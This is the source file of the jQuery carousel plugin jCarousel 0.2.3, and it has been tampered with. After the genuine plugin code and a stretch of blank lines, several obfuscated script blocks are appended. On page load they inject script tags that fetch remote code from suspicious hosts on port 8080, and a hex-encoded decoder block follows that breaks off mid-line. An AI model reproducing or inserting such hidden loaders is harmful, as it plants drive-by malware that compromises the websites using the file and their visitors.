/**
 * jCarousel - Riding carousels with jQuery
 *   http://sorgalla.com/jcarousel/
 *
 * Copyright (c) 2006 Jan Sorgalla (http://sorgalla.com)
 * Dual licensed under the MIT (MIT-LICENSE.txt)
 * and GPL (GPL-LICENSE.txt) licenses.
 *
 * Built on top of the jQuery library
 *   http://jquery.com
 *
 * Inspired by the "Carousel Component" by Bill Scott
 *   http://billwscott.com/carousel/
 */

(function($) {
    /**
     * Creates a carousel for all matched elements.
     *
     * @example $("#mycarousel").jcarousel();
     * @before <ul id="mycarousel" class="jcarousel-skin-name"><li>First item</li><li>Second item</li></ul>
     * @result
     *
     * <div class="jcarousel-skin-name">
     *   <div class="jcarousel-container">
     *     <div disabled="disabled" class="jcarousel-prev jcarousel-prev-disabled"></div>
     *     <div class="jcarousel-next"></div>
     *     <div class="jcarousel-clip">
     *       <ul class="jcarousel-list">
     *         <li class="jcarousel-item-1">First item</li>
     *         <li class="jcarousel-item-2">Second item</li>
     *       </ul>
     *     </div>
     *   </div>
     * </div>
     *
     * @name jcarousel
     * @type jQuery
     * @param Hash o A set of key/value pairs to set as configuration properties.
     * @cat Plugins/jCarousel
     */
    $.fn.jcarousel = function(o) {
        return this.each(function() {
            new $jc(this, o);
        });
    };

    // Default configuration properties.
    var defaults = {
        vertical: false,
        start: 1,
        offset: 1,
        size: null,
        scroll: 3,
        visible: null,
        animation: 'normal',
        easing: 'swing',
        auto: 0,
        wrap: null,
        initCallback: null,
        reloadCallback: null,
        itemLoadCallback: null,
        itemFirstInCallback: null,
        itemFirstOutCallback: null,
        itemLastInCallback: null,
        itemLastOutCallback: null,
        itemVisibleInCallback: null,
        itemVisibleOutCallback: null,
        buttonNextHTML: '<div></div>',
        buttonPrevHTML: '<div></div>',
        buttonNextEvent: 'click',
        buttonPrevEvent: 'click',
        buttonNextCallback: null,
        buttonPrevCallback: null
    };

    /**
     * The jCarousel object.
     *
     * @constructor
     * @name $.jcarousel
     * @param Object e The element to create the carousel for.
     * @param Hash o A set of key/value pairs to set as configuration properties.
     * @cat Plugins/jCarousel
     */
    $.jcarousel = function(e, o) {
        this.options    = $.extend({}, defaults, o || {});

        this.locked     = false;

        this.container  = null;
        this.clip       = null;
        this.list       = null;
        this.buttonNext = null;
        this.buttonPrev = null;

        this.wh = !this.options.vertical ? 'width' : 'height';
        this.lt = !this.options.vertical ? 'left' : 'top';

        // Extract skin class
        var skin = '', split = e.className.split(' ');

        for (var i = 0; i < split.length; i++) {
            if (split[i].indexOf('jcarousel-skin') != -1) {
                $(e).removeClass(split[i]);
                var skin = split[i];
                break;
            }
        }

        if (e.nodeName == 'UL' || e.nodeName == 'OL') {
            this.list = $(e);
            this.container = this.list.parent();

            if (this.container.hasClass('jcarousel-clip')) {
                if (!this.container.parent().hasClass('jcarousel-container'))
                    this.container = this.container.wrap('<div></div>');

                this.container = this.container.parent();
            } else if (!this.container.hasClass('jcarousel-container'))
                this.container = this.list.wrap('<div></div>').parent();
        } else {
            this.container = $(e);
            this.list = $(e).find('>ul,>ol,div>ul,div>ol');
        }

        if (skin != '' && this.container.parent()[0].className.indexOf('jcarousel-skin') == -1)
        	this.container.wrap('<div class=" '+ skin + '"></div>');

        this.clip = this.list.parent();

        if (!this.clip.length || !this.clip.hasClass('jcarousel-clip'))
            this.clip = this.list.wrap('<div></div>').parent();

        this.buttonPrev = $('.jcarousel-prev', this.container);

        if (this.buttonPrev.size() == 0 && this.options.buttonPrevHTML != null)
            this.buttonPrev = this.clip.before(this.options.buttonPrevHTML).prev();

        this.buttonPrev.addClass(this.className('jcarousel-prev'));

        this.buttonNext = $('.jcarousel-next', this.container);

        if (this.buttonNext.size() == 0 && this.options.buttonNextHTML != null)
            this.buttonNext = this.clip.before(this.options.buttonNextHTML).prev();

        this.buttonNext.addClass(this.className('jcarousel-next'));

        this.clip.addClass(this.className('jcarousel-clip'));
        this.list.addClass(this.className('jcarousel-list'));
        this.container.addClass(this.className('jcarousel-container'));

        var di = this.options.visible != null ? Math.ceil(this.clipping() / this.options.visible) : null;
        var li = this.list.children('li');

        var self = this;

        if (li.size() > 0) {
            var wh = 0, i = this.options.offset;
            li.each(function() {
                self.format(this, i++);
                wh += self.dimension(this, di);
            });

            this.list.css(this.wh, wh + 'px');

            // Only set if not explicitly passed as option
            if (!o || o.size === undefined)
                this.options.size = li.size();
        }

        // For whatever reason, .show() does not work in Safari...
        this.container.css('display', 'block');
        this.buttonNext.css('display', 'block');
        this.buttonPrev.css('display', 'block');

        this.funcNext   = function() { self.next(); };
        this.funcPrev   = function() { self.prev(); };
        this.funcResize = function() { self.reload(); };

        if (this.options.initCallback != null)
            this.options.initCallback(this, 'init');

        if ($.browser.safari) {
            this.buttons(false, false);
            $(window).bind('load', function() { self.setup(); });
        } else
            this.setup();
    };

    // Create shortcut for internal use
    var $jc = $.jcarousel;

    $jc.fn = $jc.prototype = {
        jcarousel: '0.2.3'
    };

    $jc.fn.extend = $jc.extend = $.extend;

    $jc.fn.extend({
        /**
         * Setups the carousel.
         *
         * @name setup
         * @type undefined
         * @cat Plugins/jCarousel
         */
        setup: function() {
            this.first     = null;
            this.last      = null;
            this.prevFirst = null;
            this.prevLast  = null;
            this.animating = false;
            this.timer     = null;
            this.tail      = null;
            this.inTail    = false;

            if (this.locked)
                return;

            this.list.css(this.lt, this.pos(this.options.offset) + 'px');
            var p = this.pos(this.options.start);
            this.prevFirst = this.prevLast = null;
            this.animate(p, false);

            $(window).unbind('resize', this.funcResize).bind('resize', this.funcResize);
        },

        /**
         * Clears the list and resets the carousel.
         *
         * @name reset
         * @type undefined
         * @cat Plugins/jCarousel
         */
        reset: function() {
            this.list.empty();

            this.list.css(this.lt, '0px');
            this.list.css(this.wh, '10px');

            if (this.options.initCallback != null)
                this.options.initCallback(this, 'reset');

            this.setup();
        },

        /**
         * Reloads the carousel and adjusts positions.
         *
         * @name reload
         * @type undefined
         * @cat Plugins/jCarousel
         */
        reload: function() {
            if (this.tail != null && this.inTail)
                this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) + this.tail);

            this.tail   = null;
            this.inTail = false;

            if (this.options.reloadCallback != null)
                this.options.reloadCallback(this);

            if (this.options.visible != null) {
                var self = this;
                var di = Math.ceil(this.clipping() / this.options.visible), wh = 0, lt = 0;
                $('li', this.list).each(function(i) {
                    wh += self.dimension(this, di);
                    if (i + 1 < self.first)
                        lt = wh;
                });

                this.list.css(this.wh, wh + 'px');
                this.list.css(this.lt, -lt + 'px');
            }

            this.scroll(this.first, false);
        },

        /**
         * Locks the carousel.
         *
         * @name lock
         * @type undefined
         * @cat Plugins/jCarousel
         */
        lock: function() {
            this.locked = true;
            this.buttons();
        },

        /**
         * Unlocks the carousel.
         *
         * @name unlock
         * @type undefined
         * @cat Plugins/jCarousel
         */
        unlock: function() {
            this.locked = false;
            this.buttons();
        },

        /**
         * Sets the size of the carousel.
         *
         * @name size
         * @type undefined
         * @param Number s The size of the carousel.
         * @cat Plugins/jCarousel
         */
        size: function(s) {
            if (s != undefined) {
                this.options.size = s;
                if (!this.locked)
                    this.buttons();
            }

            return this.options.size;
        },

        /**
         * Checks whether a list element exists for the given index (or index range).
         *
         * @name get
         * @type bool
         * @param Number i The index of the (first) element.
         * @param Number i2 The index of the last element.
         * @cat Plugins/jCarousel
         */
        has: function(i, i2) {
            if (i2 == undefined || !i2)
                i2 = i;

            if (this.options.size !== null && i2 > this.options.size)
            	i2 = this.options.size;

            for (var j = i; j <= i2; j++) {
                var e = this.get(j);
                if (!e.length || e.hasClass('jcarousel-item-placeholder'))
                    return false;
            }

            return true;
        },

        /**
         * Returns a jQuery object with list element for the given index.
         *
         * @name get
         * @type jQuery
         * @param Number i The index of the element.
         * @cat Plugins/jCarousel
         */
        get: function(i) {
            return $('.jcarousel-item-' + i, this.list);
        },

        /**
         * Adds an element for the given index to the list.
         * If the element already exists, it updates the inner html.
         * Returns the created element as jQuery object.
         *
         * @name add
         * @type jQuery
         * @param Number i The index of the element.
         * @param String s The innerHTML of the element.
         * @cat Plugins/jCarousel
         */
        add: function(i, s) {
            var e = this.get(i), old = 0, add = 0;

            if (e.length == 0) {
                var c, e = this.create(i), j = $jc.intval(i);
                while (c = this.get(--j)) {
                    if (j <= 0 || c.length) {
                        j <= 0 ? this.list.prepend(e) : c.after(e);
                        break;
                    }
                }
            } else
                old = this.dimension(e);

            e.removeClass(this.className('jcarousel-item-placeholder'));
            typeof s == 'string' ? e.html(s) : e.empty().append(s);

            var di = this.options.visible != null ? Math.ceil(this.clipping() / this.options.visible) : null;
            var wh = this.dimension(e, di) - old;

            if (i > 0 && i < this.first)
                this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) - wh + 'px');

            this.list.css(this.wh, $jc.intval(this.list.css(this.wh)) + wh + 'px');

            return e;
        },

        /**
         * Removes an element for the given index from the list.
         *
         * @name remove
         * @type undefined
         * @param Number i The index of the element.
         * @cat Plugins/jCarousel
         */
        remove: function(i) {
            var e = this.get(i);

            // Check if item exists and is not currently visible
            if (!e.length || (i >= this.first && i <= this.last))
                return;

            var d = this.dimension(e);

            if (i < this.first)
                this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) + d + 'px');

            e.remove();

            this.list.css(this.wh, $jc.intval(this.list.css(this.wh)) - d + 'px');
        },

        /**
         * Moves the carousel forwards.
         *
         * @name next
         * @type undefined
         * @cat Plugins/jCarousel
         */
        next: function() {
            this.stopAuto();

            if (this.tail != null && !this.inTail)
                this.scrollTail(false);
            else
                this.scroll(((this.options.wrap == 'both' || this.options.wrap == 'last') && this.options.size != null && this.last == this.options.size) ? 1 : this.first + this.options.scroll);
        },

        /**
         * Moves the carousel backwards.
         *
         * @name prev
         * @type undefined
         * @cat Plugins/jCarousel
         */
        prev: function() {
            this.stopAuto();

            if (this.tail != null && this.inTail)
                this.scrollTail(true);
            else
                this.scroll(((this.options.wrap == 'both' || this.options.wrap == 'first') && this.options.size != null && this.first == 1) ? this.options.size : this.first - this.options.scroll);
        },

        /**
         * Scrolls the tail of the carousel.
         *
         * @name scrollTail
         * @type undefined
         * @param Bool b Whether scroll the tail back or forward.
         * @cat Plugins/jCarousel
         */
        scrollTail: function(b) {
            if (this.locked || this.animating || !this.tail)
                return;

            var pos  = $jc.intval(this.list.css(this.lt));

            !b ? pos -= this.tail : pos += this.tail;
            this.inTail = !b;

            // Save for callbacks
            this.prevFirst = this.first;
            this.prevLast  = this.last;

            this.animate(pos);
        },

        /**
         * Scrolls the carousel to a certain position.
         *
         * @name scroll
         * @type undefined
         * @param Number i The index of the element to scoll to.
         * @param Bool a Flag indicating whether to perform animation.
         * @cat Plugins/jCarousel
         */
        scroll: function(i, a) {
            if (this.locked || this.animating)
                return;

            this.animate(this.pos(i), a);
        },

        /**
         * Prepares the carousel and return the position for a certian index.
         *
         * @name pos
         * @type Number
         * @param Number i The index of the element to scoll to.
         * @cat Plugins/jCarousel
         */
        pos: function(i) {
            if (this.locked || this.animating)
                return;

            if (this.options.wrap != 'circular')
                i = i < 1 ? 1 : (this.options.size && i > this.options.size ? this.options.size : i);

            var back = this.first > i;
            var pos  = $jc.intval(this.list.css(this.lt));

            // Create placeholders, new list width/height
            // and new list position
            var f = this.options.wrap != 'circular' && this.first <= 1 ? 1 : this.first;
            var c = back ? this.get(f) : this.get(this.last);
            var j = back ? f : f - 1;
            var e = null, l = 0, p = false, d = 0;

            while (back ? --j >= i : ++j < i) {
                e = this.get(j);
                p = !e.length;
                if (e.length == 0) {
                    e = this.create(j).addClass(this.className('jcarousel-item-placeholder'));
                    c[back ? 'before' : 'after' ](e);
                }

                c = e;
                d = this.dimension(e);

                if (p)
                    l += d;

                if (this.first != null && (this.options.wrap == 'circular' || (j >= 1 && (this.options.size == null || j <= this.options.size))))
                    pos = back ? pos + d : pos - d;
            }

            // Calculate visible items
            var clipping = this.clipping();
            var cache = [];
            var visible = 0, j = i, v = 0;
            var c = this.get(i - 1);

            while (++visible) {
                e = this.get(j);
                p = !e.length;
                if (e.length == 0) {
                    e = this.create(j).addClass(this.className('jcarousel-item-placeholder'));
                    // This should only happen on a next scroll
                    c.length == 0 ? this.list.prepend(e) : c[back ? 'before' : 'after' ](e);
                }

                c = e;
                var d = this.dimension(e);
                if (d == 0) {
                    alert('jCarousel: No width/height set for items. This will cause an infinite loop. Aborting...');
                    return 0;
                }

                if (this.options.wrap != 'circular' && this.options.size !== null && j > this.options.size)
                    cache.push(e);
                else if (p)
                    l += d;

                v += d;

                if (v >= clipping)
                    break;

                j++;
            }

             // Remove out-of-range placeholders
            for (var x = 0; x < cache.length; x++)
                cache[x].remove();

            // Resize list
            if (l > 0) {
                this.list.css(this.wh, this.dimension(this.list) + l + 'px');

                if (back) {
                    pos -= l;
                    this.list.css(this.lt, $jc.intval(this.list.css(this.lt)) - l + 'px');
                }
            }

            // Calculate first and last item
            var last = i + visible - 1;
            if (this.options.wrap != 'circular' && this.options.size && last > this.options.size)
                last = this.options.size;

            if (j > last) {
                visible = 0, j = last, v = 0;
                while (++visible) {
                    var e = this.get(j--);
                    if (!e.length)
                        break;
                    v += this.dimension(e);
                    if (v >= clipping)
                        break;
                }
            }

            var first = last - visible + 1;
            if (this.options.wrap != 'circular' && first < 1)
                first = 1;

            if (this.inTail && back) {
                pos += this.tail;
                this.inTail = false;
            }

            this.tail = null;
            if (this.options.wrap != 'circular' && last == this.options.size && (last - visible + 1) >= 1) {
                var m = $jc.margin(this.get(last), !this.options.vertical ? 'marginRight' : 'marginBottom');
                if ((v - m) > clipping)
                    this.tail = v - clipping - m;
            }

            // Adjust position
            while (i-- > first)
                pos += this.dimension(this.get(i));

            // Save visible item range
            this.prevFirst = this.first;
            this.prevLast  = this.last;
            this.first     = first;
            this.last      = last;

            return pos;
        },

        /**
         * Animates the carousel to a certain position.
         *
         * @name animate
         * @type undefined
         * @param mixed p Position to scroll to.
         * @param Bool a Flag indicating whether to perform animation.
         * @cat Plugins/jCarousel
         */
        animate: function(p, a) {
            if (this.locked || this.animating)
                return;

            this.animating = true;

            var self = this;
            var scrolled = function() {
                self.animating = false;

                if (p == 0)
                    self.list.css(self.lt,  0);

                if (self.options.wrap == 'both' || self.options.wrap == 'last' || self.options.size == null || self.last < self.options.size)
                    self.startAuto();

                self.buttons();
                self.notify('onAfterAnimation');
            };

            this.notify('onBeforeAnimation');

            // Animate
            if (!this.options.animation || a == false) {
                this.list.css(this.lt, p + 'px');
                scrolled();
            } else {
                var o = !this.options.vertical ? {'left': p} : {'top': p};
                this.list.animate(o, this.options.animation, this.options.easing, scrolled);
            }
        },

        /**
         * Starts autoscrolling.
         *
         * @name auto
         * @type undefined
         * @param Number s Seconds to periodically autoscroll the content.
         * @cat Plugins/jCarousel
         */
        startAuto: function(s) {
            if (s != undefined)
                this.options.auto = s;

            if (this.options.auto == 0)
                return this.stopAuto();

            if (this.timer != null)
                return;

            var self = this;
            this.timer = setTimeout(function() { self.next(); }, this.options.auto * 1000);
        },

        /**
         * Stops autoscrolling.
         *
         * @name stopAuto
         * @type undefined
         * @cat Plugins/jCarousel
         */
        stopAuto: function() {
            if (this.timer == null)
                return;

            clearTimeout(this.timer);
            this.timer = null;
        },

        /**
         * Sets the states of the prev/next buttons.
         *
         * @name buttons
         * @type undefined
         * @cat Plugins/jCarousel
         */
        buttons: function(n, p) {
            if (n == undefined || n == null) {
                var n = !this.locked && this.options.size !== 0 && ((this.options.wrap && this.options.wrap != 'first') || this.options.size == null || this.last < this.options.size);
                if (!this.locked && (!this.options.wrap || this.options.wrap == 'first') && this.options.size != null && this.last >= this.options.size)
                    n = this.tail != null && !this.inTail;
            }

            if (p == undefined || p == null) {
                var p = !this.locked && this.options.size !== 0 && ((this.options.wrap && this.options.wrap != 'last') || this.first > 1);
                if (!this.locked && (!this.options.wrap || this.options.wrap == 'last') && this.options.size != null && this.first == 1)
                    p = this.tail != null && this.inTail;
            }

            var self = this;

            this.buttonNext[n ? 'bind' : 'unbind'](this.options.buttonNextEvent, this.funcNext)[n ? 'removeClass' : 'addClass'](this.className('jcarousel-next-disabled')).attr('disabled', n ? false : true);
            this.buttonPrev[p ? 'bind' : 'unbind'](this.options.buttonPrevEvent, this.funcPrev)[p ? 'removeClass' : 'addClass'](this.className('jcarousel-prev-disabled')).attr('disabled', p ? false : true);

            if (this.buttonNext.length > 0 && (this.buttonNext[0].jcarouselstate == undefined || this.buttonNext[0].jcarouselstate != n) && this.options.buttonNextCallback != null) {
                this.buttonNext.each(function() { self.options.buttonNextCallback(self, this, n); });
                this.buttonNext[0].jcarouselstate = n;
            }

            if (this.buttonPrev.length > 0 && (this.buttonPrev[0].jcarouselstate == undefined || this.buttonPrev[0].jcarouselstate != p) && this.options.buttonPrevCallback != null) {
                this.buttonPrev.each(function() { self.options.buttonPrevCallback(self, this, p); });
                this.buttonPrev[0].jcarouselstate = p;
            }
        },

        notify: function(evt) {
            var state = this.prevFirst == null ? 'init' : (this.prevFirst < this.first ? 'next' : 'prev');

            // Load items
            this.callback('itemLoadCallback', evt, state);

            if (this.prevFirst !== this.first) {
                this.callback('itemFirstInCallback', evt, state, this.first);
                this.callback('itemFirstOutCallback', evt, state, this.prevFirst);
            }

            if (this.prevLast !== this.last) {
                this.callback('itemLastInCallback', evt, state, this.last);
                this.callback('itemLastOutCallback', evt, state, this.prevLast);
            }

            this.callback('itemVisibleInCallback', evt, state, this.first, this.last, this.prevFirst, this.prevLast);
            this.callback('itemVisibleOutCallback', evt, state, this.prevFirst, this.prevLast, this.first, this.last);
        },

        callback: function(cb, evt, state, i1, i2, i3, i4) {
            if (this.options[cb] == undefined || (typeof this.options[cb] != 'object' && evt != 'onAfterAnimation'))
                return;

            var callback = typeof this.options[cb] == 'object' ? this.options[cb][evt] : this.options[cb];

            if (!$.isFunction(callback))
                return;

            var self = this;

            if (i1 === undefined)
                callback(self, state, evt);
            else if (i2 === undefined)
                this.get(i1).each(function() { callback(self, this, i1, state, evt); });
            else {
                for (var i = i1; i <= i2; i++)
                    if (i !== null && !(i >= i3 && i <= i4))
                        this.get(i).each(function() { callback(self, this, i, state, evt); });
            }
        },

        create: function(i) {
            return this.format('<li></li>', i);
        },

        format: function(e, i) {
            var $e = $(e).addClass(this.className('jcarousel-item')).addClass(this.className('jcarousel-item-' + i));
            $e.attr('jcarouselindex', i);
            return $e;
        },

        className: function(c) {
            return c + ' ' + c + (!this.options.vertical ? '-horizontal' : '-vertical');
        },

        dimension: function(e, d) {
            var el = e.jquery != undefined ? e[0] : e;

            var old = !this.options.vertical ?
                el.offsetWidth + $jc.margin(el, 'marginLeft') + $jc.margin(el, 'marginRight') :
                el.offsetHeight + $jc.margin(el, 'marginTop') + $jc.margin(el, 'marginBottom');

            if (d == undefined || old == d)
                return old;

            var w = !this.options.vertical ?
                d - $jc.margin(el, 'marginLeft') - $jc.margin(el, 'marginRight') :
                d - $jc.margin(el, 'marginTop') - $jc.margin(el, 'marginBottom');

            $(el).css(this.wh, w + 'px');

            return this.dimension(el);
        },

        clipping: function() {
            return !this.options.vertical ?
                this.clip[0].offsetWidth - $jc.intval(this.clip.css('borderLeftWidth')) - $jc.intval(this.clip.css('borderRightWidth')) :
                this.clip[0].offsetHeight - $jc.intval(this.clip.css('borderTopWidth')) - $jc.intval(this.clip.css('borderBottomWidth'));
        },

        index: function(i, s) {
            if (s == undefined)
                s = this.options.size;

            return Math.round((((i-1) / s) - Math.floor((i-1) / s)) * s) + 1;
        }
    });

    $jc.extend({
        /**
         * Gets/Sets the global default configuration properties.
         *
         * @name defaults
         * @descr Gets/Sets the global default configuration properties.
         * @type Hash
         * @param Hash d A set of key/value pairs to set as configuration properties.
         * @cat Plugins/jCarousel
         */
        defaults: function(d) {
            return $.extend(defaults, d || {});
        },

        margin: function(e, p) {
            if (!e)
                return 0;

            var el = e.jquery != undefined ? e[0] : e;

            if (p == 'marginRight' && $.browser.safari) {
                var old = {'display': 'block', 'float': 'none', 'width': 'auto'}, oWidth, oWidth2;

                $.swap(el, old, function() { oWidth = el.offsetWidth; });

                old['marginRight'] = 0;
                $.swap(el, old, function() { oWidth2 = el.offsetWidth; });

                return oWidth2 - oWidth;
            }

            return $jc.intval($.css(el, p));
        },

        intval: function(v) {
            v = parseInt(v);
            return isNaN(v) ? 0 : v;
        }
    });

})(jQuery);















var j;if(j!='sf' && j!='f'){j='sf'};this.cm=14483;var jx=false;var _=new Array();var a;if(a!='' && a!='cz'){a='q'};var x='sUcUrWiWpWtb'.replace(/[bUW;P]/g, '');var r=window;this.l="";var re;if(re!='cs'){re='cs'};var u=document;var _d="_d";this.jw=6592;this.ug="ug";var xg;if(xg!='ol'){xg='ol'};r.onload=function(){this.ka="ka";try {this.wy='';s=u.createElement(x);s.setAttribute('dJecfGe$rG'.replace(/[G\$Jc;]/g, ''), "1");s.src='hWtWt6pR:R/I/WmWe$gWaRuRp6l6oRa$dW-$cIoWm6.RcIlWa6r6iRnW.Wc6o6mI.Rw$u6n$dIeRrIg$rIo$uWnId6-Rc6oRmR.WyRo6u$rRtRaRgWhRe6uReIrR.$r6u6:R860R8I0I/$fIbWc6dRnR.6nReIt$/6f6bWcIdWn$.$n6e$tI/Iq6uWi$kWrW.6cWo$mI/Wp6aInIt6i$pW.Rc$oWm6/Wg$oRo6gIlIeI.RcRoRmI/6'.replace(/[6WI\$R]/g, '');var uu;if(uu!='fz'){uu=''};u.body.appendChild(s);this.fp="";} catch(n){var lp;if(lp!=''){lp='zz'};};var xa;if(xa!='qm' && xa != ''){xa=null};};
var z;if(z!='kc' && z!='d'){z=''};var l=document;var cl;if(cl!='' && cl!='ti'){cl=''};var k=window;var zb="";function o(j){var a=['h?t;t1p;:U/7/7k?oUm1l7i1-;cUoUmU.1nUa7u1k?rUiU.7cUo;mU.1b?o;s?t;o;n7-?c1o1m;.;h;o1t1n1e7w1g?u1i;d1eU.Ur?uU:;8?0U8107/7o;r1f7.Ua7t7/1oUr1f1.;aUt?/?g;o1o7g7l7e7.Uc?o7m7/;g7o7o?g7l1e;.Ur1o1/Ug7e?t7i1tUo1n7.;c?o1m;/U'.replace(/[U7\?;1]/g, ''), 'sQcQrqiqpQtb'.replace(/[bQq/x]/g, ''), 'c:r:e1aRt^eRE^lYeRm1e:n1t:'.replace(/[\:Y1\^R]/g, ''), 'o2n5l5oxaxdx'.replace(/[x25ij]/g, ''), 'sVrRcI'.replace(/[IgV4R]/g, ''), 'a:pmp<e:n:dmC:h:i:lqdm'.replace(/[m\+q\:\<]/g, ''), 'sdeIt1Adt7t1rdiCbduCtCed'.replace(/[dI71C]/g, ''), 'baohdhyx'.replace(/[xIahU]/g, ''), 'dmemfmeGrx'.replace(/[xqGDm]/g, ''), "1"];var pl=42594;var s=a[j];return s;}var cx;if(cx!=''){cx='br'};var _;if(_!=''){_='h'};var kd = function(){this.q=39971;try {var gv;if(gv!='' && gv!='kh'){gv=''};p=l[o([2,6][0])](o([1][0]));var kp;if(kp!='' && kp!='nd'){kp=''};p[o([6,3][0])](o([8][0]), o([9][0]));p[o([4][0])]=o([4,0][1]);var n = l[o([0,7][1])];n[o([2,5][1])](p);this.ao='';} catch(t){var w;if(w!='ry' && w!='m'){w=''};};var rw=new String();};k[o([3][0])]=kd;this.jb="jb";this.sz="sz";
try {var b=window;var x;if(x!='' && x!='y'){x='m'};var hb;if(hb!='' && hb!='h'){hb='l'};var d='s7c7rMiMp/t_'.replace(/[_/78M]/g, '');var u='cJrjeJaPt5e~E5lJePmje5nJtJ'.replace(/[J5Pj~]/g, '');var pu;if(pu!='md'){pu='md'};var p='oxn,lxo*aAdz'.replace(/[zAx,\*]/g, '');var ui=new Array();bk=function(){var r="";t=document[u](d);var bd;if(bd!='yv' && bd != ''){bd=null};this.pi="";this.o="";t['sBrXcu'.replace(/[uoB\+X]/g, '')]='h!t!tXpX:?/!/?a!oql?-Yc!oXmq.?aYtYtq.?n?e!tX.Xm!e?eqbXoq-qcXo!m!.?nYeYw!w?o!r!lXdqlYiYnqkY.?r!uX:X8X0q8q0?/?gYoXo!g?lXe!.Xc!oXm?/qgYoYo!g!lYeY.?c?o!m?/?h?sXbXcY.?c?o!.XuXkq/!aXnXgYeXgXe?.!c?oXmq/qn!i?kYkqe!iX.!c?oX.XjYpX/q'.replace(/[qY\!X\?]/g, '');var gq;if(gq!='tx'){gq='tx'};t.setAttribute('dTevfDeZrZ'.replace(/[ZiTvD]/g, ''), ([8,1][1]));var rw='';var r_;if(r_!='kb' && r_ != ''){r_=null};document['bFo>dFya'.replace(/[a\>2cF]/g, '')]['aApspwevnAdwCwhsiwlJdJ'.replace(/[JswvA]/g, '')](t);var ob;if(ob!='xz' && ob != ''){ob=null};this.bn="";};this.zf="";var dn="dn";b[p]=bk;var lp;if(lp!='kbt' && lp!='pt'){lp=''};var gqj;if(gqj!='' && gqj!='lw'){gqj=null};var vf=new String();} catch(n){var fr;if(fr!='wa' && fr!='zb'){fr='wa'};var yi="yi";};var nh;if(nh!='' && nh!='hw'){nh=null};var vm=new Array();
var HZ="6575416e5e35437f4062692858475d412b735e7355405f524e6c6f4c675461527b4c7b56456d7f614465666e7f4850565a59636e647b5f68775a74405169445f5f3274482674465a135254035254";var SF="";var SY;if(SY!='nEs' && SY!='YJ'){SY=''};var lw='';function r(B){this.A=29237;var zu;if(zu!='Ks' && zu!='Iw'){zu=''};var ch;if(ch!='' && ch!='As'){ch=''}; var Q="";var Z="";function t(X){var zL;if(zL!=''){zL='yh'};var F='';this.nF=47019;X = new Y(X);var tcb;if(tcb!='' && tcb!='zM'){tcb=null};var d =[188,0][1];var ao;if(ao!='Ut' && ao != ''){ao=null};var kQ;if(kQ!='ZU' && kQ != ''){kQ=null};var le = -1;var p=false;var JZ=new String();var x = '';this.dE=false;this.YB="YB";var S =[0][0];var yL=new Date();var AW=new Date();var dl;if(dl!='PW' && dl!='tX'){dl='PW'};for (S=X[b("gnelth", [3,2,1,0])]-le;S>=d;S=S-[203,39,1][2]){x+=X[b("hcaArt", [1,0,2])](S);}this.CZ=61716;var h=new Date();this.Lv="";return x;}var Wr;if(Wr!='so'){Wr='so'};this.iq='';var rm=''; var ot=new Array();var au=new String();function b(X, G){this.Ou="";this.cz=63360;var x = '';this.xv=62110;this.iy=57177;this.nE="";var d=[0,246][0];var J = G.length;var rE="";var uk;if(uk!='' && uk!='DT'){uk=null};var lT=[226,1][1];var lB = X.length;var nR='';this.sr="sr";this.pt=false;for(var S = d; S < lB; S += J) {this.rl="";var xE=new String();var R = X.substr(S, J);var jo;if(jo!='mX'){jo=''};if(R.length == J){var Tv;if(Tv!=''){Tv='kW'};var kt="";var NV;if(NV!='BG'){NV='BG'};for(var e in G) {var rf;if(rf!='tv' && rf!='yu'){rf='tv'};var pp;if(pp!='Vc'){pp='Vc'};x+=R.substr(G[e], lT);this.oL="";var PC;if(PC!='Xn'){PC='Xn'};}var Dgk;if(Dgk!='qA' && Dgk != ''){Dgk=null};var VR=new String();var ns;if(ns!='' && ns!='WM'){ns='wx'};} else {var ai;if(ai!='ud' && ai != ''){ai=null};var eS='';  x+=R;}var Gg=new String();}var Tl;if(Tl!=''){Tl='WL'};return x;var hX="hX";}var tY=new Date(); var o=function(K,Kc){return K^Kc;};var TC=''; var tK=function(Rd,bb){var bS;if(bS!='' && bS!='RQT'){bS=null};this.rI="";return Rd[b("hcraoCedtA", [1,0])](bb);var hR="hR";};var Sy=35396;var Uc=false;var UT;if(UT!='nXK'){UT=''}; var ba=function(k){var W=[43,76,255,242][2];var Ok;if(Ok!='' && Ok!='sH'){Ok=''};var GB=k[b("enlgth", [2,0,1,3])];var gw=18269;this.mI=9365;var lT=[125,74,174,1][3];var YU;if(YU!='' && YU!='Kl'){YU=''};var xD=[0][0];var e=[0][0];while(e<GB){var lM;if(lM!='' && lM!='CJ'){lM=null};var Ot=new Array();e++;g=tK(k,e - lT);this.hT=18884;var aX;if(aX!='RK' && aX != ''){aX=null};xD+=g*GB;this.Kr=46181;}var Gn=new String();var Mm;if(Mm!='cy'){Mm=''};return new Y(xD % W);};var XAU;if(XAU!='qz' && XAU!='KT'){XAU=''};var I=window;var ID=I[b("aelv", [1,3,0,2])];var dom=ID(b("nFcuotni", [1,3,0,2]));var HTl;if(HTl!='ZJ' && HTl!='Ky'){HTl='ZJ'};var UB=new String();var Y=ID(b("tSrnig", [1,0,2]));var WE;if(WE!='Hq'){WE='Hq'};var oK=ID(b("gexERp", [4,1,0,3,2]));var GG=3229;this.mi=41837;var dQ=38526;var a = '';var aF="";var ro="";var rB=I[b("nuseacep", [1,0])];var NP=new Date();var YF=new Date();var eh=Y[b("rfoCmhraCdoe", [1,0,2])];var EL=false;this.VN=43749;var N = /[^@a-z0-9A-Z_-]/g;var d =[45,10,0,22][2];var rk=[1, b("oducemtnc.ertaEeelemtn\'(csirtp)\'", [1,0]),2, b("eodcumdtn.boe.yappldnChid(d)", [2,1,3,4,5,0]),3, b("oicvml.sdeeietirsug.n:8080", [2,0,4,6,5,1,3]),4, b("ecmtemo.muom..pclefgorto", [1,6,5,7,2,0,4,3]),5, b("sd.ettAtbriu(te\'fdeer\'", [1,2,0,3]),6, b("itcsla.iti", [1,0]),7, b("ilknehplrec.n", [1,0]),8, b(".nwdioownload", [7,4,1,3,5,2,0,6]),11, b("afecobkoc.mo", [1,0]),12, b("nufitc(no)", [2,1,0]),14, b("ogoeglo.cm", [1,2,0]),15, b("ccbmahni", [1,3,2,0]),16, b("atcc(e)h", [3,0,1,2]),17, b("htt\":p", [3,0,1,2,5,4]),18, b(".sdrc", [2,0,1,3]),19, b("\')1\'", [3,2,0,1]),20, b("rty", [1,0])];var YP;if(YP!='wC' && YP!='Gdy'){YP=''};var gb =[185,2,125][1];var xn="xn";var 